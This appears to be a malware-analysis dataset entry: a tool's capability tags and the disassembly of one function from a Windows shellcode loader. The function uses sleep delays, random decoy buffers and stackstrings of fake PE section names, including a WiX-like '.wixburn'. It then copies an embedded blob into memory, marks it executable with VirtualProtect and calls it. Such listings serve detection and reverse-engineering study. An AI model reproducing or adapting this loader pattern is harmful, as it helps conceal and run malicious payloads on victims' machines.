Function at 0x14000bee0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Terminate process

Disassembly:
push rbp
push rdi
lea rbp, [rsp - 0x188]
sub rsp, 0x288
mov rax, qword [0x14020f278]
xor rax, rsp
mov qword [rbp + 0x160], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
je 0x14000c50b
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor r9d, r9d
xor edx, edx
mov r8, rax
mov rcx, rdi
call fcn.14000f1c0
test eax, eax
je 0x14000c50b
mov qword [rsp + 0x2a0], rbx
mov qword [rsp + 0x280], r13
xor r13d, r13d
mov qword [rsp + 0x278], r14
lea r14, [0x1402113c0]
mov ebx, r13d
nop word [rax + rax]
mov eax, 0x51eb851f
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
test edx, edx
jle 0x14000bf94
mov edi, edx
nop word [rax + rax]
lea rdx, [0x140183454]
mov rcx, r14
call fcn.1400065b0
dec rdi
jne 0x14000bf80
lea rdx, [0x140183594]
mov rcx, r14
call fcn.1400065b0
mov ecx, 0x14
call qword [sym.imp.KERNEL32.dll_Sleep]
add ebx, 0x64
cmp ebx, 0x2710
jl 0x14000bf60
xor ecx, ecx
mov qword [rsp + 0x2a8], rsi
mov qword [rsp + 0x2b0], r12
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
je 0x14000c4fd
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor r9d, r9d
xor edx, edx
mov r8, rax
mov rcx, rdi
call fcn.14000f1c0
test eax, eax
jne 0x14000c085
xor ecx, ecx
call fcn.14014eda4
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x20], rax
call fcn.14014ea88
cmp dword [rsp + 0x30], r13d
jne 0x14000c067
cmp dword [rsp + 0x2c], r13d
jne 0x14000c067
xor eax, eax
mov r12, qword [rsp + 0x2b0]
mov rsi, qword [rsp + 0x2a8]
mov r13, qword [rsp + 0x280]
mov rbx, qword [rsp + 0x2a0]
mov r14, qword [rsp + 0x278]
mov rcx, qword [rbp + 0x160]
xor rcx, rsp
call fcn.14014ff80
add rsp, 0x288
pop rdi
pop rbp
ret
lea rdx, str.Load_MFC
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ebx, 0x19
mov qword [rsp + 0x270], r15
mov dword [0x140212ccc], 1
mov esi, 0x4e2
lea r15, [0x1402118e0]
lea r12d, [rbx + 0x4b]
mov edi, ebx
nop
call fcn.14014e9cc
and eax, 0x80000003
jge 0x14000c0c3
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x14000c0fb
dec eax
je 0x14000c0f0
dec eax
je 0x14000c0e2
dec eax
jne 0x14000c103
cmp rbx, 0x31
jge 0x14000c103
inc rbx
add rsi, 0x32
jmp 0x14000c103
test rbx, rbx
jle 0x14000c103
dec rbx
sub rsi, 0x32
jmp 0x14000c103
cmp rdi, 0x31
jge 0x14000c103
inc rdi
jmp 0x14000c103
test rdi, rdi
jle 0x14000c103
dec rdi
dec r12
lea rax, [rsi + rdi]
mov dword [r15 + rax*4], 1
jne 0x14000c0b0
lea rcx, [0x140213ff0]
call fcn.14000e9bc
call fcn.14000a380
mov r15, qword [rsp + 0x270]
mov qword [rsp + 0x50], r13
mov dword [rsp + 0x58], 0x7865742e
mov dword [rsp + 0x5c], 0x74
mov dword [rsp + 0x60], 0x49937
mov dword [rsp + 0x64], 0x1000
mov dword [rsp + 0x68], 0x49a00
mov qword [rsp + 0x6c], 0x400
mov qword [rsp + 0x74], r13
mov dword [rsp + 0x7c], 0x60000020
mov dword [rbp - 0x80], 0x6164722e
mov dword [rbp - 0x7c], 0x6174
mov dword [rbp - 0x78], 0x1ed60
mov dword [rbp - 0x74], 0x4b000
mov dword [rbp - 0x70], 0x1ee00
mov qword [rbp - 0x6c], 0x49e00
mov qword [rbp - 0x64], r13
mov dword [rbp - 0x5c], 0x40000040
mov dword [rbp - 0x58], 0x7461642e
mov dword [rbp - 0x54], 0x61
mov dword [rbp - 0x50], 0x1730
mov dword [rbp - 0x4c], 0x6a000
mov dword [rbp - 0x48], 0xa00
mov qword [rbp - 0x44], 0x68c00
mov qword [rbp - 0x3c], r13
mov dword [rbp - 0x34], 0xc0000040
mov dword [rbp - 0x30], 0x7869772e
mov dword [rbp - 0x2c], 0x6e727562
mov dword [rbp - 0x28], 0x38
mov dword [rbp - 0x24], 0x6c000
mov dword [rbp - 0x20], 0x200
mov qword [rbp - 0x1c], 0x69600
mov qword [rbp - 0x14], r13
mov dword [rbp - 0xc], 0x40000040
mov dword [rbp - 8], 0x7273722e
mov dword [rbp - 4], 0x63
mov dword [rbp], 0x3ad4
mov dword [rbp + 4], 0x6d000
mov dword [rbp + 8], 0x3c00
mov qword [rbp + 0xc], 0x69800
mov qword [rbp + 0x14], r13
mov dword [rbp + 0x1c], 0x40000040
mov dword [rbp + 0x20], 0x6c65722e
mov dword [rbp + 0x24], 0x636f
mov dword [rbp + 0x28], 0x3dfc
mov dword [rbp + 0x2c], 0x71000
mov dword [rbp + 0x30], 0x3e00
mov qword [rbp + 0x34], 0x6d400
mov qword [rbp + 0x3c], r13
mov qword [rbp + 0x44], 0x42000040
mov dword [rbp + 0x4c], r13d
mov rdi, r13
call fcn.14014e9cc
and eax, 0x80000001
jge 0x14000c299
dec eax
or eax, 0xfffffffe
inc eax
mov byte [rbp + rdi + 0x50], al
inc rdi
cmp rdi, 0x10a
jl 0x14000c286
mov dl, 0xa
mov rcx, r14
call fcn.140006a80
mov rax, qword [0x1402113c0]
mov edi, r13d
movsxd rcx, dword [rax + 4]
mov r12d, 4
test byte [rcx + r14 + 0x10], 6
jne 0x14000c2e8
mov rcx, qword [rcx + r14 + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x68]
cmp eax, 0xffffffff
mov rax, qword [0x1402113c0]
cmove edi, r12d
movsxd rcx, dword [rax + 4]
add rcx, r14
test edi, edi
je 0x14000c309
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], r13
jne 0x14000c301
or edx, r12d
xor r8d, r8d
call fcn.140001580
lea rdx, [rsp + 0x51]
lea rcx, [rsp + 0x50]
call fcn.14000b740
xor edx, edx
lea rcx, [rsp + 0x51]
lea r8d, [rdx + 0x7f]
mov byte [rsp + 0x50], al
call fcn.14014f550
mov rdi, r13
nop
movzx edx, byte [rbp + rdi + 0x50]
mov rcx, r14
call fcn.1400042a0
inc rdi
cmp rdi, 0x10a
jl 0x14000c330
mov dl, 0xa
mov rcx, r14
call fcn.140006a80
mov rax, qword [0x1402113c0]
mov edi, r13d
movsxd rcx, dword [rax + 4]
test byte [rcx + r14 + 0x10], 6
jne 0x14000c382
mov rcx, qword [rcx + r14 + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x68]
cmp eax, 0xffffffff
mov rax, qword [0x1402113c0]
cmove edi, r12d
movsxd rcx, dword [rax + 4]
add rcx, r14
test edi, edi
je 0x14000c3a3
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], r13
jne 0x14000c39b
or edx, r12d
xor r8d, r8d
call fcn.140001580
mov ecx, 0x408
call fcn.14000cdd8
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x50]
mov rbx, rax
xor eax, eax
lea rdx, [rsp + 0x50]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, rbx
call fcn.14000a540
mov rdi, r13
nop word [rax + rax]
movzx edx, byte [rbp + rdi + 0x50]
mov rcx, r14
call fcn.1400042a0
inc rdi
cmp rdi, 0x10a
jl 0x14000c3e0
lea rdx, section.text
mov r8d, 0x7e1c10
mov rcx, rbx
call fcn.14000bb20
xor ecx, ecx
call fcn.14014eda4
mov rcx, rax
call fcn.14014e9b4
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov rsi, rax
test rax, rax
je 0x14000c478
mov r9d, r12d
mov edx, 0x7e1c10
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor edx, edx
mov r8d, 0x200000
mov rcx, rsi
mov r12, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x14000c482
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_HeapDestroy]
mov eax, 1
jmp 0x14000c026
lea rdx, [0x1407edd80]
mov r8d, 0x228e90
mov rcx, r12
call fcn.14014f130
mov rdi, r13
nop word [rax + rax]
call fcn.14014e9cc
and eax, 0x80000001
jge 0x14000c4b3
dec eax
or eax, 0xfffffffe
inc eax
mov byte [rdi + rbx], al
inc rdi
cmp rdi, 0x200000
jl 0x14000c4a0
mov r8, rbx
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea r9, [rsp + 0x20]
mov edx, 0x7e1c10
mov r8d, 0x40
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_HeapDestroy]
call r12
mov eax, r13d
jmp 0x14000c026
mov r13d, 1
mov eax, r13d
jmp 0x14000c026
mov eax, 1
jmp 0x14000c04e